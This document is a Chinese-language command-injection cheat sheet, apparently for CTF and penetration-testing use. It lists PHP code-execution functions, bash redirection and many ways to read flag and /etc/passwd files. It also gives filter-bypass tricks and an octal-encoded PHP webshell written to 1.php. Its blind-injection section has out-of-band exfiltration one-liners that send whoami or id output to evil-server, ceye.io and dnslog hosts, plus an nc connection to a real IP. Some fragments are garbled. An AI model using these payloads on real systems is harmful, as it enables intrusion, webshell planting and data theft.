## 命令注入总结 ## 直接执行代码 PHP 中有不少可以直接执行代码的函数。 ``` eval(); assert(); system(); exec(); shell_exec(); passthru(); escapeshellcmd(); pcntl_exec(); ``` preg_replace( ) 代码执行 preg_replace() 的第一个参数如果存在 `/e` 模式修饰符,则允许代码执行。 ``` phpinfo()"; preg_replace("/(.*?)<\/tag>/e", "addslashes(\\1)", $var); ?> ``` 若无 `/e` 修饰符,则可以尝试 %00 截断。 ## 重定向 - cmd > file 把cmd命令的输出重定向到文件file中。如果file已经存在,则清空原有文件,使用bash的noclobber选项可以防止复盖原有文件。 - cmd >> file 把cmd命令的输出重定向到文件file中,如果file已经存在,则把信息加在原有文件后面。 - cmd < file 使cmd命令从file读入 - cmd << text 从命令行读取输入,直到一个与text相同的行结束。除非使用引号把输入括起来,此模式将对输入内容进行shell变量替换。如果使用`<<-` ,则会忽略接下来输入行首的tab,结束行也可以是一堆tab再加上一个与text相同的内容,可以参考後面的例子。 - cmd <<< word 把word(而不是文件word)和后面的换行作为输入提供给cmd。 - cmd <> file 以读写模式把文件file重定向到输入,文件file不会被破坏。仅当应用程序利用了这一特性时,它才是有意义的。 - cmd >| file 功能同>,但即便在设置了noclobber时也会复盖file文件,注意用的是|而非一些书中说的!,目前仅在csh中仍沿用`>!`实现这一功能。 - : > filename 把文件`filename`截断为0长度。如果文件不存在, 那么就创建一个0长度的文件(与`touch`的效果相同). - cmd >&n 把输出送到文件描述符n - cmd m>&n 把输出到文件符m的信息重定向到文件描述符n - cmd >&- 关闭标准输出 - cmd <&n 输入来自文件描述符n - cmd m<&n m来自文件描述各个n - cmd <&- 关闭标准输入 - cmd <&n- 移动输入文件描述符n而非复制它。 - cmd >&n- 移动输出文件描述符n而非复制它。 注意: `>&`实际上复制了文件描述符,这使得`cmd > file 2>&1`与`cmd 2>&1 >file`的效果不一样。 ## 读文件 ``` cat flag /{cat,flag} more flag less flag bzmore flag bzless flag head flag tail flag tailf flag tac flag nl flag od -a flag fire flag wc flag uniq flag diff flag flag1.txt sed -n '1,2p' flag find -P flag strings flag curl file:///root/flag sort flag bash -v flag rev flag paste ./flag.txt /etc/passwd ``` ## Bypass ### 多条命令 ``` %0a、%0d 换行符与回车符 | 第一条命令结果作为第二条命令的输入 || 第一条执行失败,执行第二条命令 ; 连续指令功能。 & 连接的两条命令都会执行 && 当第一条执行成功后执行后续命令 echo 666`date` => 666Tue 14 May 2019 07:15:23 AM EDT # Windows Copy %0a %1a - 一个神奇的角色,作为.bat文件中的命令分隔符 ``` ### 绕过 escapeshellcmd - win 下执行 bat ``` ``` cat<>flag cat $ {printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php ``` - 单引号、双引号 ``` c""at fl''ag c'a't f'l'ag ``` - 反斜线 \ ``` c\at fl\ag ``` - 通配符 ``` /?in/?s => ls * 0到无穷个任意字符 ? 一个任意字符 [ ] 一个在括号内的字符,e.g. [abcd] [ - ] 在编码顺序内的所有字符 [^ ] 一个不在括号内的字符 [! ] 同 ^ cat fl[0-z]g echo d{a,e,i,u,o}g => dag deg dig dug dog echo {fl,fla}{ag,g} => flag flg flaag flag echo fl{0..z}g => fl1g,fl2g,...,flyg,flzg 花括号拓展{OS_COMMAND,ARGUMENT} 在Linux bash中还可以使用{cat,/etc/passwd}来绕过 这里没实验成功 ``` - 未定义变量 ``` cat$x /etc/passwd ``` - 可变函数 ``` (sy.(st).em)(whoami) $_GET[a]($_GET[b].$_GET[c]) 获取内置函数 system 的索引后,直接执行 get_defined_functions()[internal] | grep ststem get_defined_functions()[internal][381](whoami) ``` - `$@` ``` $ c$@at fl$@ag flag{xxx} $ echo i$@d id $ i$@d uid=1000(wywwzjj) gid=1000(wywwzjj) groups=1000(wywwzjj) $ echo i$@d|$0 uid=1000(wywwzjj) gid=1000(wywwzjj) groups=1000(wywwzjj) $ echo {nc,47.101.220.241,2333}|$0 直接连 nc 了。。。$0 好牛逼? $0 就相当于 bash 另外 $n 表示命令行第 n 个参数 $ $0<<’ - ${PS4} 对应字符 ‘+’ - ${IFS} 对应 内部字段分隔符 - ${9} 对应 空字符串 ### 无回显 - 弹 shell - DNS 外带数据 ``` curl "http://testhash.test.dnslog.link/?`whoami`" ``` - HTTP 外带 ``` # linux curl http://evil-server/`whoami` wget http://evil-server/$(whoami) curl xxxx.ceye.io/`whoami` curl http://xxxx.ceye.io/$(id|base64) ping -c 1 `whoami`.xxxx.ceye.io # windows http: for /F %x in ('whoami') do start http://xxx.ceye.io/%x dns请求: 获取计算机名:for /F "delims=" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info 获取用户名:for /F "delims= tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info for /F %x in ('whoami') do powershell $a=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x'));$b=New-Object System.Net.WebClient;$b.DownloadString('http://xxx.ceye.io/'+$a); ``` ### 长度限制 - 文件构造(参考橘子那个 hitcon) ``` >w 将会创建一个名字为 w 的空文件。 ``` 工具 - [shelling](https://github.com/ewilded/shelling) ## 参考链接 [巧用命令注入的 N 种姿势](https://mp.weixin.qq.com/s/Hm6TiLHiAygrJr-MGRq9Mw) [命令执行的一些绕过技巧](https://chybeta.github.io/2017/08/15/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/)